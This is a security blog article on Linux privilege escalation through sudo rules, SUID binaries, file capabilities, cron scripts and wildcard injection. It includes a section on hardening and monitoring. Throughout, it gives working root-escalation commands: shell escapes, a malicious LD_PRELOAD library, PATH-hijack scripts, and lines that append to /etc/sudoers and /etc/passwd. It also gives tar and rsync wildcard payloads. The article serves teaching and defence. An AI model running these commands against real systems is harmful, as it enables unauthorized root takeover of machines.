Back to Blog
Cloud IAM Security

Privilege Escalation in Linux: Exploiting Sudo, SUID, and Capabilities

OffSec Research Team
10 June 2026 • 09:00 AM16 min
Privilege Escalation in Linux: Exploiting Sudo, SUID, and Capabilities
TL;DR — Local privilege escalation on Linux is rarely about exotic kernel exploits; far more often it's about misconfigured trust. A sudo rule that's too generous, a SUID binary that shells out, or a file capability granted carelessly each hands an unprivileged user a clean path to root. This article covers the three pillars of Linux privesc — sudo abuse (including GTFOBins, LD_PRELOAD, and historic CVEs like Baron Samedit), SUID/SGID exploitation, and POSIX capabilities (cap_setuid, cap_dac_read_search) — plus the enumeration workflow that finds them and the hardening that closes them.

Executive Summary

Once an attacker has any shell on a Linux host — through a web shell, stolen SSH key, or a compromised service account — the next objective is to become root. The Linux permission model is built on the idea that privileged operations should be tightly scoped, but in practice administrators and packagers routinely grant more privilege than necessary through three mechanisms designed to temporarily elevate: sudo, the SUID bit, and file capabilities.

Each of these is a legitimate, necessary feature. sudo lets a user run specific commands as root without sharing the root password. The SUID bit lets an unprivileged user run a program with the file owner's privileges (so passwd can edit /etc/shadow). Capabilities split root's monolithic power into fine-grained units so a program can, say, bind a low port without being full root. The vulnerability in every case is the same shape as web authorization bugs: the elevation is granted too broadly, or to a program that can be redirected to do something other than its intended task.

The reason this matters more than kernel exploits in real engagements is reliability and stealth. A misconfigured sudo rule works every time, on every patch level, with no crash risk and minimal forensic noise — whereas a kernel exploit may be patched, may crash the box, and leaves dmesg artifacts. Enumeration-driven config abuse is the professional's first move; kernel 0-days are the last resort.

The Enumeration-First Mindset

diagram — rendering…
flowchart TD
    A["Foothold: unprivileged shell"] --> B["Enumerate elevation surfaces"]
    B --> C["sudo -l<br/>(what can I run as root?)"]
    B --> D["find SUID/SGID binaries"]
    B --> E["getcap -r /<br/>(file capabilities)"]
    B --> F["writable cron / services / PATH"]
    C & D & E & F --> G["Cross-ref GTFOBins"]
    G --> H["Root"]
    style H fill:#2a0c14,stroke:#ef233c,color:#fee2e2

Before any exploit, enumerate. Automated tools (LinPEAS, linux-smart-enumeration, pspy for live process spying) accelerate this, but the manual core is small:

bash
sudo -l                                   # sudo rights for the current userfind / -perm -4000 -type f 2>/dev/null    # SUID binariesfind / -perm -2000 -type f 2>/dev/null    # SGID binariesgetcap -r / 2>/dev/null                    # file capabilitiescat /etc/crontab; ls -la /etc/cron.*       # scheduled jobsecho $PATH                                 # PATH hijack opportunities

The single most valuable reference is GTFOBins (gtfobins.github.io) — a curated catalogue of how standard Unix binaries can be abused to break out of restricted contexts, spawn shells, read/write files, or escalate when they carry sudo, SUID, or capability privileges. Most "config" privesc is: enumerate → look it up on GTFOBins → execute the documented break-out.

Pillar 1 — Abusing sudo

sudo -l reveals what you may run as root. The art is recognising which permitted commands can be coaxed into giving you a root shell.

1a. Commands that shell out (GTFOBins)

Many utilities can spawn a shell or run arbitrary commands as a side effect. If you can run any of them via sudo, you have root:

bash
sudo vim -c ':!/bin/sh'            # editors → shell escapesudo less /etc/profile             # then type !/bin/shsudo find . -exec /bin/sh \; -quit # find's -exec runs as rootsudo awk 'BEGIN {system("/bin/sh")}'sudo nmap --interactive            # legacy nmap had a shellsudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'sudo tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/sh

The lesson: a sudo rule like user ALL=(root) /usr/bin/vim is a root grant, because vim (and dozens of others) can run shell commands. Allow-listing a "harmless" editor or pager via sudo almost always equals full root.

1b. LD_PRELOAD / LD_LIBRARY_PATH when env_keep is set

If the sudoers config preserves environment variables (Defaults env_keep += "LD_PRELOAD"), you can load a malicious shared library into a sudo-run program:

c
// evil.c — runs as root when preloaded into a sudo'd binary#include <stdlib.h>#include <unistd.h>void _init() { setuid(0); setgid(0); system("/bin/sh"); }
bash
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so evil.csudo LD_PRELOAD=/tmp/evil.so <any-allowed-command>   # _init runs as root → shell

env_reset (the default) and secure_path exist precisely to block this; env_keep re-opens the door.

1c. Wildcards and path tricks in sudo rules

A rule like user ALL=(root) /usr/bin/systemctl status * or scripts that use unquoted wildcards (tar, rsync, chown *) can be hijacked by crafting filenames that act as command-line options (the classic "wildcard injection" — e.g. creating files named --checkpoint-action=exec=... in a directory a root tar * will process).

1d. sudo CVEs

Even a correctly configured sudo has had critical bugs:

  • CVE-2021-3156 (Baron Samedit) — a heap buffer overflow in sudo's command-line parsing, exploitable by any local user regardless of sudoers entries, yielding root. It affected a decade of versions and is a go-to when the target's sudo is unpatched.
  • CVE-2019-14287 — sudo ... -u#-1 (or 4294967295) bypassed a !root restriction, running commands as root despite a rule meant to forbid it.
  • CVE-2023-22809 — sudoedit argument injection via EDITOR/SUDO_EDITOR containing --, allowing edits to arbitrary files.

Always note the sudo --version; an old sudo is a privesc even with a locked-down sudoers.

Pillar 2 — SUID / SGID Binaries

A binary with the SUID bit (-rwsr-xr-x) runs with the file owner's privileges (usually root), regardless of who launches it. SGID (-rwxr-sr-x) does the same for the group. Exploitation paths:

diagram — rendering…
flowchart TD
    A["SUID-root binary found"] --> B{"Type of binary?"}
    B -->|"Known GTFOBins entry<br/>(cp, find, nano, bash, etc.)"| C["Documented break-out → root"]
    B -->|"Custom/3rd-party binary"| D["Reverse it: does it<br/>system()/exec relative path?"]
    B -->|"Outdated (pkexec, ...)"| E["Public CVE (e.g. PwnKit)"]
    D --> F["PATH hijack / arg injection"]
    style C fill:#2a0c14,stroke:#ef233c,color:#fee2e2
    style E fill:#2a0c14,stroke:#ef233c,color:#fee2e2
    style F fill:#2a0c14,stroke:#ef233c,color:#fee2e2

2a. Standard binaries with the SUID bit set

If an admin mistakenly sets SUID on a capable binary, GTFOBins gives the breakout:

bash
# bash SUID: -p preserves the privileged euid/usr/bin/bash -p                      # → root shell if bash is SUID-rootfind /etc/passwd -exec /bin/sh -p \;  # if find is SUIDcp --attributes-only ...              # cp can overwrite /etc/passwdnano → ^R^X reset; ...                # editors write arbitrary files

2b. Custom SUID binaries calling subprocesses

A developer's SUID helper that runs another program by relative name is exploitable via PATH hijack:

c
// vulnerable SUID binarysystem("service apache2 restart");    // 'service' resolved via $PATH
bash
echo '/bin/sh -p' > /tmp/service && chmod +x /tmp/serviceexport PATH=/tmp:$PATH./vuln_suid_binary                    # runs our /tmp/service as root

The fix the developer missed: call absolute paths (/usr/sbin/service) and reset the environment. Any SUID binary that system()s or execvp()s a relative command name is a root grant.

2c. SUID program CVEs — PwnKit

CVE-2021-4034 (PwnKit) in pkexec (a SUID-root component of Polkit) is the archetype: a memory-corruption/argument-handling flaw exploitable by any local user for instant root, present by default on most Linux distros for 12+ years. Finding an unpatched pkexec is often the fastest root on the box. Other recurring SUID CVE targets include pkexec, mount/umount helpers, and various vendor agents.

Pillar 3 — POSIX Capabilities

Capabilities decompose root's power into ~40 discrete privileges, letting a binary hold just one without being SUID-root. Misassigned capabilities are subtle because they don't show in a normal ls; you must use getcap.

bash
getcap -r / 2>/dev/null# /usr/bin/python3.8 = cap_setuid+ep        ← jackpot

The dangerous capabilities and their exploits:

CapabilityWhat it grantsExploit
cap_setuid+epSet arbitrary UIDpython -c 'import os; os.setuid(0); os.system("/bin/sh")' → root
cap_dac_read_search+epBypass file-read permission checksRead /etc/shadow, SSH keys — full disclosure
cap_dac_override+epBypass all file read/write/exec checksOverwrite /etc/passwd or /etc/sudoers
cap_sys_admin+epVast — mount, namespaces, etc.Many paths to root; near-equivalent to root
cap_sys_ptrace+epTrace/inject into any processInject into a root process
cap_setgid+epSet arbitrary GIDGroup-based escalation

The textbook case: an admin grants cap_setuid to a Python interpreter to let a service bind privileged resources, not realising it lets any user run os.setuid(0) and become root in one line. Capabilities are powerful precisely because they're invisible to casual inspection — getcap -r / must be part of every enumeration.

Other Common Vectors (Briefly)

text
VECTOR                         ESCALATIONWritable cron job / cron.d     Edit a root-run script → root at next tickWritable systemd service /     Modify ExecStart → root on (re)start  PATH used by a root serviceWorld-writable /etc/passwd     Add a root-uid user with known passwordNFS no_root_squash share       Drop a SUID-root binary from a clientWritable .so / library path    Hijack a library a root process loadsStored credentials             .bash_history, config files, .env, keysDocker group membership        `docker run -v /:/mnt ...` → host root

Many of these are found by pspy (watch what root runs) and LinPEAS (writable files in root-executed paths, cron, services).

Defence: Least Privilege, Audited Continuously

diagram — rendering…
flowchart TD
    A["Reduce elevation surface"] --> B["sudoers: specific commands,<br/>no shell-capable binaries,<br/>env_reset + secure_path"]
    A --> C["Minimise SUID/SGID;<br/>audit with find regularly"]
    A --> D["Grant capabilities narrowly;<br/>audit with getcap"]
    A --> E["Patch sudo/pkexec/kernel<br/>(Baron Samedit, PwnKit)"]
    A --> F["Mount noexec/nosuid on<br/>user-writable filesystems"]
    style A fill:#0c2a22,stroke:#21d48e,color:#d1fae5
  • Write tight sudoers rules. Grant the specific commands needed, never broad paths or shell-capable binaries (editors, pagers, interpreters, find, tar, awk, nmap). Keep env_reset and secure_path on; never add LD_PRELOAD/LD_LIBRARY_PATH to env_keep. Avoid wildcards in command arguments. Prefer NOPASSWD only where unavoidable and scoped.
  • Minimise and audit SUID/SGID. Most systems need only a handful (passwd, sudo, mount, su, ping). Periodically run find / -perm -4000/-2000 and remove the bit from anything not strictly required. For custom helpers, never system()/exec* a relative command, always reset the environment, and prefer capabilities over SUID-root.
  • Grant capabilities surgically and audit them. Use the least capability for the job, never cap_setuid/cap_sys_admin/cap_dac_* on general-purpose interpreters. Audit with getcap -r / as part of routine review — they hide from ls.
  • Patch aggressively. Baron Samedit, PwnKit, Dirty Pipe and friends are local-root one-liners; keep sudo, polkit, and the kernel current.
  • Harden the filesystem. Mount /tmp, /home, and other user-writable areas noexec,nosuid,nodev; protect cron/systemd paths from non-root writes; lock down /etc/passwd, /etc/sudoers, and library paths.
  • Monitor. Alert on new SUID files, sudoers changes, capability grants, and unexpected children of root processes (the same signals pspy exploits, used defensively).

Linux Capabilities-Based Privilege Escalation

POSIX capabilities decompose root's monolithic privilege into approximately 40 discrete units. When an administrator assigns a capability to a binary or process — intending to grant one narrow power — the consequences are often broader than anticipated. The three most commonly misused capabilities and their exploitation paths are covered in depth here.

cap_setuid: Becoming Root in One Line

cap_setuid+ep allows a process to call setuid(0) arbitrarily, setting its effective UID to root. When granted to an interpreter or scripting runtime, any user can invoke it:

bash
# Discover cap_setuid on an interpreter$ getcap -r / 2>/dev/null/usr/bin/python3.8 = cap_setuid+ep # Exploit: call setuid(0) then exec a shell$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'root@host# iduid=0(root) gid=1000(user) groups=1000(user)

The same pattern applies to any capable runtime — Perl (perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash"'), Ruby (ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'), or Node.js (process.setuid(0); require("child_process").execSync("/bin/bash")). An admin who granted cap_setuid to Python to allow a service to drop privileges down to a non-root UID inadvertently allowed any user to set their UID up to zero.

cap_net_raw: Network-Level Attacks from Unprivileged Processes

cap_net_raw permits creating raw sockets and packet sniffing. Without this capability, capturing traffic or sending crafted packets requires root. With it:

bash
# Find cap_net_raw on tcpdump$ getcap -r / 2>/dev/null/usr/bin/tcpdump = cap_net_raw+ep # Capture all traffic on an interface — including cleartext credentials$ tcpdump -i eth0 -A -s 0 'tcp port 80 or port 21 or port 23'

While cap_net_raw alone does not directly yield root, it enables credential capture from network traffic (HTTP Basic Auth, FTP, SMTP, Telnet), ARP poisoning for man-in-the-middle attacks, and spoofed packet injection. In environments where internal services use cleartext protocols, cap_net_raw on a network utility is frequently the fastest path to credential material that subsequently yields root access elsewhere.

cap_dac_override: Overwriting Any File

cap_dac_override+ep bypasses all discretionary access control checks for file reads, writes, and execution. A binary holding this capability can open any file on the filesystem regardless of its permissions, making root a simple overwrite:

bash
# Find cap_dac_override on a script interpreter$ getcap -r / 2>/dev/null/usr/bin/vim.basic = cap_dac_override+ep # Overwrite /etc/sudoers to grant current user unrestricted sudo$ echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers$ sudo su   # → root # Alternatively, overwrite /etc/passwd to add a root-uid user$ echo 'pwned:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd$ su pwned  # → root

cap_dac_override on a text editor or interpreter is equivalent to having world-write access on every file on the system. It is one of the most dangerous misconfigurations a getcap scan can reveal.

Writable Paths in Root Cron Jobs

Scheduled jobs running as root are a reliable privesc path when the script or any binary it calls is writable by the current user. pspy monitors process creation without root privileges, revealing what root runs and when:

bash
# Monitor root cron activity without root privileges$ ./pspy64 -pf -i 1000# Watch for entries with UID=0 — these run as root # Suppose pspy reveals: /bin/bash /opt/maintenance/cleanup.sh runs every minute$ ls -la /opt/maintenance/cleanup.sh-rwxrwxr-x 1 root root 45 Jan 10 09:00 /opt/maintenance/cleanup.sh# World-writable! Anyone can modify this script. # Append a payload — runs as root at the next cron tick$ echo 'chmod u+s /bin/bash' >> /opt/maintenance/cleanup.sh# Wait ~60 seconds$ ls -la /bin/bash-rwsr-xr-x 1 root root ...  # SUID bit now set$ /bin/bash -p   # → effective UID = root

The same principle applies to writable scripts in /etc/cron.d/, /etc/cron.daily/, /etc/cron.hourly/, and writable binaries called by a root cron job. A common variant: the cron script calls a binary by name without a full path — then PATH hijacking applies. Create a malicious binary with the same name earlier in $PATH and the root job runs it.

Wildcard Injection in Sudo Commands

Some sudo rules pass wildcards (*) to allow flexibility, and some root-run scripts use unquoted shell globs. When the wildcard expands over an attacker-controlled directory, crafted filenames that look like command-line flags are injected into the command — a technique known as wildcard injection or argument injection.

tar with --checkpoint-action

The tar utility processes certain arguments as actions rather than filenames. If a root cron job or sudo rule runs tar cf /backup/archive.tar * from a directory the attacker controls:

bash
# Create "files" whose names are actually tar flagstouch /target-dir/--checkpoint=1touch '/target-dir/--checkpoint-action=exec=sh shell.sh' # Create the payload scriptecho '#!/bin/bash' > /target-dir/shell.shecho 'chmod u+s /bin/bash' >> /target-dir/shell.shchmod +x /target-dir/shell.sh # When root runs: tar cf /backup.tar *# tar expands * → includes --checkpoint=1 and --checkpoint-action=exec=sh shell.sh# → executes shell.sh as root

rsync with --rsh

Similarly, if a sudo rule permits user ALL=(root) /usr/bin/rsync *, the user can pass --rsh=CMD to make rsync execute an arbitrary command as the remote shell:

bash
sudo rsync -e 'sh -p -c "sh 0<&2 1>&2"' localhost:/tmp/x /tmp/y# → root shell via rsync's --rsh argument

chown and chmod with Wildcards

Wildcard injection also applies to chown and chmod when a sudo rule uses * in the path argument. Creating a symlink named --reference=<target> tricks chown into reading permission bits from an attacker-controlled file instead of applying the intended ownership.

The unifying principle: never use shell globs in sudo rules or root scripts run over attacker-controlled directories. Quote all arguments, use absolute paths, and pass explicit file lists rather than *.

MITRE ATT&CK Mapping

ATT&CK IDTechniqueLinux Privesc Relevance
T1548.001Abuse Elevation Control Mechanism: Setuid and SetgidExploiting SUID/SGID binaries (bash -p, find -exec, custom SUID helpers)
T1548.003Abuse Elevation Control Mechanism: Sudo and Sudo CachingSudo GTFOBins abuse, LDPRELOAD via envkeep, Baron Samedit CVE
T1053.003Scheduled Task/Job: CronWriting to writable cron scripts executed by root
T1574.008Hijack Execution Flow: Path Interception via PATH Environment VariablePATH hijacking for SUID binaries calling relative command names
T1068Exploitation for Privilege EscalationCVE-2021-3156 Baron Samedit, CVE-2021-4034 PwnKit, capability abuse
T1083File and Directory Discoverygetcap -r /, find -perm -4000 during enumeration phase

Conclusion and Takeaways

Linux local privilege escalation is, overwhelmingly, an enumeration-and-configuration discipline rather than an exploit-development one. The three pillars — sudo, SUID/SGID, and capabilities — are all legitimate mechanisms for temporary, scoped elevation, and they become vulnerabilities through the same root error that plagues authorization everywhere: the privilege is granted too broadly, or to a program that can be redirected from its intended purpose. A sudo rule that permits an editor, a SUID helper that shells out to a relative path, or a cap_setuid on Python are each a one-line trip to root, working reliably across patch levels with none of the risk of a kernel exploit. Layered on top are the perennial CVEs — Baron Samedit, PwnKit — that grant root even when the configuration is correct, which is why the version of sudo, pkexec, and the kernel always matters.

The attacker's method is therefore simple and devastatingly effective: get a shell, run sudo -l, find -perm -4000, and getcap -r /, then cross-reference GTFOBins and known CVEs. The defender's method must mirror it: apply least privilege ruthlessly, write specific sudoers entries that exclude shell-capable binaries, minimise and continuously audit SUID bits and capability grants, mount user-writable filesystems nosuid,noexec, and patch the local-root bugs the moment they ship. Privilege escalation thrives on accumulated, unaudited trust — so the durable defence is to grant the minimum, write it down, and check it often.